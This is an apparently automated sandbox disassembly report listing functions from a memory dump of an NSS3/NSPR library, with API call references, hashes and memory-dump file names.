Instruction ID: a31a12368e041cbf4727621a24a6f480912eeac51c0eaf71b94bc6625274f7cd
Opcode Fuzzy Hash: 80b3a770b864b90c4e21bd58e21ddb0ea1479982eef0131fa681091ab2ffcc06
Instruction Fuzzy Hash: EB31E435701194ABDB00DB68ED88F9A7BB5EF42329F484025E819A7711DB309D88CBE7

Function 6CB62D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB62D9F

Part of subcall function 6CA1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA7F9C9,?,6CA7F4DA,6CA7F9C9,?,?,6CA4369A), ref: 6CA1CA7A
Part of subcall function 6CA1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CB26

sqlite3_exec.NSS3(?,?,6CB62F70,?,?), ref: 6CB62DF9
sqlite3_free.NSS3(00000000), ref: 6CB62E2C
sqlite3_free.NSS3(?), ref: 6CB62E3A
sqlite3_free.NSS3(?), ref: 6CB62E52
sqlite3_mprintf.NSS3(6CBCAAF9,?), ref: 6CB62E62
sqlite3_free.NSS3(?), ref: 6CB62E70
sqlite3_free.NSS3(?), ref: 6CB62E89
sqlite3_free.NSS3(?), ref: 6CB62EBB
sqlite3_free.NSS3(?), ref: 6CB62ECB
sqlite3_free.NSS3(00000000), ref: 6CB62F3E
sqlite3_free.NSS3(?), ref: 6CB62F4C

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: c9dee177de6efde2f5eca198b0e74d3784b877f4c2b9c33a86e0dd6d095a7475
Instruction ID: 367ffb3cccafa019352c41a471eb174a0ad13f536148a882d073befb3db1f8e7
Opcode Fuzzy Hash: c9dee177de6efde2f5eca198b0e74d3784b877f4c2b9c33a86e0dd6d095a7475
Instruction Fuzzy Hash: 4D6190B5E052558BFB00CFA9D984BDEB7B1EF48348F144024EC15A7B41E735E848CBA2

Function 6CAB2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CAB3F23,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2C93

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23), ref: 6CAB2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?), ref: 6CAB2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?), ref: 6CAB2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CAB2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CAB2D71
PR_Unlock.NSS3(?), ref: 6CAB2D7E

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 387319f0e4e10073d3df49fb41dc4a6c0a7c187711b55ca835f72c1aea7e7b96
Instruction ID: d525901db5af90cb5368c69a710892b32b8be7ca8603a147bb3ccd652c351100
Opcode Fuzzy Hash: 387319f0e4e10073d3df49fb41dc4a6c0a7c187711b55ca835f72c1aea7e7b96
Instruction Fuzzy Hash: 2851F8B5D00204ABDB009F74EC459AA7778FF09358B088625EC18A7B11E731EDA8C7E1

Function 6CAA7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBF2120,Function_00097E60,00000000,?,?,?,?,6CB2067D,6CB21C60,00000000), ref: 6CAA7C81

Part of subcall function 6CA14C70: TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
Part of subcall function 6CA14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
Part of subcall function 6CA14C70: PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9

TlsGetValue.KERNEL32 ref: 6CAA7CA0
EnterCriticalSection.KERNEL32(?), ref: 6CAA7CB4
PR_Unlock.NSS3 ref: 6CAA7CCF

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

TlsGetValue.KERNEL32 ref: 6CAA7D04
EnterCriticalSection.KERNEL32(?), ref: 6CAA7D1B
realloc.MOZGLUE(-00000050), ref: 6CAA7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA7DF4
PR_Unlock.NSS3 ref: 6CAA7E0E

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 634ede78d135495736bb517f305d82882a83cb17fa4b69a3cf32a9f3273486e8
Instruction ID: ef884b7df8f8bedeb7128666816a3e44b6196519b736b3495059ddea9e937d3f
Opcode Fuzzy Hash: 634ede78d135495736bb517f305d82882a83cb17fa4b69a3cf32a9f3273486e8
Instruction Fuzzy Hash: 45512775A41240AFDF115FA8EC44B6A7BB5FB02318F194129DD14C7715EB30D9E6CB82

Function 6CA14C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D97
PR_Lock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14DBA
PR_WaitCondVar.NSS3 ref: 6CA14DD4
PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14DEF

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 15d3143648a93f8a6ea9a39fe0f4470a7181c4c78855533f193a704dcbcdf311
Instruction ID: ae99fcfd8e42f3d82a06b45a49fbf49430a2ae8492d9c0f12af73b841b044839
Opcode Fuzzy Hash: 15d3143648a93f8a6ea9a39fe0f4470a7181c4c78855533f193a704dcbcdf311
Instruction Fuzzy Hash: 73416DB5A19A558FCB00AFBDE08455DBBB4BF05318F094A69D8989BB00E730D8D5CB81

Function 6CBA7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CBA7CE0

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA7D36
PR_Realloc.NSS3(?,00000080), ref: 6CBA7D6D
PR_GetCurrentThread.NSS3 ref: 6CBA7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CBA7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA7DD8
malloc.MOZGLUE(00000080), ref: 6CBA7DF8
PR_GetCurrentThread.NSS3 ref: 6CBA7E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CBA7DF0
:%s:%d:0x%lx, xrefs: 6CBA7DB9

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 58064fbde11609f1ac7527b821cf964f292fdc03ee30bde0cb1bc0c8cb274b42
Instruction ID: 7d7bd22d694d90e7c0b3f5316b53039ddc0253a4e7c313933e2330b4ff5d3c28
Opcode Fuzzy Hash: 58064fbde11609f1ac7527b821cf964f292fdc03ee30bde0cb1bc0c8cb274b42
Instruction Fuzzy Hash: 054116F1A082919FDB04CFA8CC8096F37A6FF80318B25452CE8999BB55D771E816C791

Function 6CBA7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CBA7E46

Part of subcall function 6CA81240: TlsGetValue.KERNEL32(00000040,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81267
Part of subcall function 6CA81240: EnterCriticalSection.KERNEL32(?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA8127C
Part of subcall function 6CA81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81291
Part of subcall function 6CA81240: PR_Unlock.NSS3(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA812A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CBA7EAF
PR_ImportFile.NSS3(?), ref: 6CBA7ECF
PR_GetCurrentThread.NSS3 ref: 6CBA7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CBA7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CBA7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CBA7F15

Strings

NSPR_INHERIT_FDS, xrefs: 6CBA7E41
%d:0x%lx, xrefs: 6CBA7EA9

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: f6cd625fc45231b7045c56d25b19ea18165c9a3844290dec84f3c59f277d1872
Instruction ID: b3bcbb30c048af2585339caa7a93378b649c8c886514cc73190517114f1e560a
Opcode Fuzzy Hash: f6cd625fc45231b7045c56d25b19ea18165c9a3844290dec84f3c59f277d1872
Instruction Fuzzy Hash: 48314570E0C1D59BEB009BE9C840AAFB7ACFF09358F100566D485B7A16E7B19D0AC7D2

Function 6CADECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CADDE64), ref: 6CADED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CADED22

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

PL_FreeArenaPool.NSS3(?), ref: 6CADED4A
PL_FinishArenaPool.NSS3(?), ref: 6CADED6B
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CADED38

Part of subcall function 6CA14C70: TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
Part of subcall function 6CA14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
Part of subcall function 6CA14C70: PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CADED52
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CADED83
PL_FreeArenaPool.NSS3(?), ref: 6CADED95
PL_FinishArenaPool.NSS3(?), ref: 6CADED9D

Part of subcall function 6CAF64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CAF127C,00000000,00000000,00000000), ref: 6CAF650E

Strings

security, xrefs: 6CADED06

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: c0dab54fd4b6585f1a972a8093b708410038615e2722ff15db095d8d69e2b788
Instruction ID: acbf13c159c534494e6b54acc00a113cc1fba67a78107293003d9e6488cb052e
Opcode Fuzzy Hash: c0dab54fd4b6585f1a972a8093b708410038615e2722ff15db095d8d69e2b788
Instruction Fuzzy Hash: C9112779A002046BE7106A25AD44BBBB278AF0171DF060924F8A563F41FB35B69D86E7

Function 6CAC2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CAC2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CAC2D07

Part of subcall function 6CBA09D0: PR_Now.NSS3 ref: 6CBA0A22
Part of subcall function 6CBA09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBA0A35
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBA0A66
Part of subcall function 6CBA09D0: PR_GetCurrentThread.NSS3 ref: 6CBA0A70
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBA0A9D
Part of subcall function 6CBA09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBA0AC8
Part of subcall function 6CBA09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBA0AE8
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0B19
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0B48
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0C76
Part of subcall function 6CBA09D0: PR_LogFlush.NSS3 ref: 6CBA0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAC2D22

Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0B88
Part of subcall function 6CBA09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBA0C5D
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CBA0C8D
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0C9C
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0CD1
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBA0CEC
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0CFB
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0D16
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CBA0D26
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D35
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CBA0D65
Part of subcall function 6CBA09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CBA0D70
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0D90
Part of subcall function 6CBA09D0: free.MOZGLUE(00000000), ref: 6CBA0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAC2D3B

Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBA0BAB
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0BBA
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CAC2D54

Part of subcall function 6CBA09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBA0BCB
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0BDE
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0C16

Strings

slotID = 0x%x, xrefs: 6CAC2D02
ulPinLen = %d, xrefs: 6CAC2D36
C_InitToken, xrefs: 6CAC2CE7
pLabel = 0x%p, xrefs: 6CAC2D4F
pPin = 0x%p, xrefs: 6CAC2D1D

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: e400d27dc6254d176a7bac0ef5bff15ff663c0ee50afc72cb46f8375d033e470
Instruction ID: 2f8901b48dd9e4499e03b60909c45a945b187400fd7ee28857ae7efb6beb7c0f
Opcode Fuzzy Hash: e400d27dc6254d176a7bac0ef5bff15ff663c0ee50afc72cb46f8375d033e470
Instruction Fuzzy Hash: B421D3793011C0AFDB01AF54FE8CA993BB5EB52319F088121E51493722DB308D99CB63

Function 6CBA0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CA82357), ref: 6CBA0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CA82357), ref: 6CBA0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CBA0EE6

Part of subcall function 6CBA09D0: PR_Now.NSS3 ref: 6CBA0A22
Part of subcall function 6CBA09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBA0A35
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBA0A66
Part of subcall function 6CBA09D0: PR_GetCurrentThread.NSS3 ref: 6CBA0A70
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBA0A9D
Part of subcall function 6CBA09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBA0AC8
Part of subcall function 6CBA09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBA0AE8
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0B19
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0B48
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0C76
Part of subcall function 6CBA09D0: PR_LogFlush.NSS3 ref: 6CBA0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CBA0EFA

Part of subcall function 6CA8AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CA8AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F2B

Strings

Aborting, xrefs: 6CBA0EB3
Assertion failure: %s, at %s:%d, xrefs: 6CBA0ED9, 6CBA0EE5, 6CBA0F06, 6CBA0F0B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
